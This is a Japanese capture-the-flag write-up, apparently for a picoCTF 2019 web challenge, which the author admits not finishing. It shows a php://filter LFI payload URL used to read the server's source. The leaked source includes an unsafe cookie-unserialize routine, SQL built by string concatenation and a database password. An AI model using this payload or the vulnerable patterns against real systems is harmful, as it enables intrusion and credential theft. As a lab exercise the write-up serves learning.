前提知識
- ディレクトリトラバーサル、LFI(:Local File Inclusion)
- Blind SQL Injection
解説
(実は最後まで解けてない)
guest:guestは削除されている。
ディレクトリトラバーサルの出番。
その一部のLFIというタイプ。
Local File Inclusionの略で、requireなどで他のファイルを取ってくる部分にinjectionを仕込み、意図しないファイルを持ってこさせる。
https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=admin
で参照してみると、
何かぞろぞろ出てくる。
base64デコードして中身を見てみよう。
<?php require_once(\'cookie.php\'); if(isset($perm) && $perm->is_admin()){ ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Welcome to the admin page!</h5> <h5 style="color:blue" class="text-center">Flag: Find the admin\'s password!</h5> </div> </div> </div> </div> </div> </body> <?php } else{ ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">You are not admin!</h5> <form action="index.php" method="get"> <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie=\'user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;\'">Go back to login</button> </form> </div> </div> </div> </div> </div> </body> <?php } ?>
adminを見ると、パスワードを見ろとのこと。
cookie.phpの存在が確認できるので、こっちを見てみよう。
<?php require_once(\'../sql_connect.php\'); // I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die(\'Could not connect\'); } //$q = \'SELECT admin FROM pico_ch2.users WHERE username = \\\'\'.$this->username.\'\\\' AND (password = \\\'\'.$this->password.\'\\\');\'; if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) { die("SQL error"); } $prepared->bind_param(\'ss\', $this->username, $this->password); if (!$prepared->execute()) { die("SQL error"); } if (!($result = $prepared->get_result())) { die("SQL error"); } $r = $result->fetch_all(); if($result->num_rows !== 1){ $is_admin_val = 0; } else{ $is_admin_val = (int)$r[0][0]; } $sql_conn->close(); return $is_admin_val; } } /* legacy login */ class siteuser { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die(\'Could not connect\'); } $q = \'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \\\'\'.$this->username.\'\\\' AND (password = \\\'\'.$this->password.\'\\\');\'; $result = $sql_conn->query($q); if($result->num_rows != 1){ $is_user_val = 0; } else{ $is_user_val = 1; } $sql_conn->close(); return $is_user_val; } } if(isset($_COOKIE[\'user_info\'])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE[\'user_info\']))); } catch(Exception $except){ die(\'Deserialization error.\'); } } ?>
更に../sql_connect.php
があるので、こっちを見てみる。
<?php $sql_server = 'localhost'; $sql_user = 'mysql'; $sql_pass = 'this1sAR@nd0mP@s5w0rD#%'; $sql_conn = new mysqli($sql_server, $sql_user, $sql_pass); $sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass); ?>
DBパスワードまで見えてるやんけ。これでアクセスすると分かる。
手元からじゃアクセスできなかったけど、この記事ではできてる。
何が違うんだろうか。
この記事とかこの記事では、Welcomeが出るかどうかをオラクルとしたBlind SQL Injectionを行っている。
kusanoさんの言う通りだ…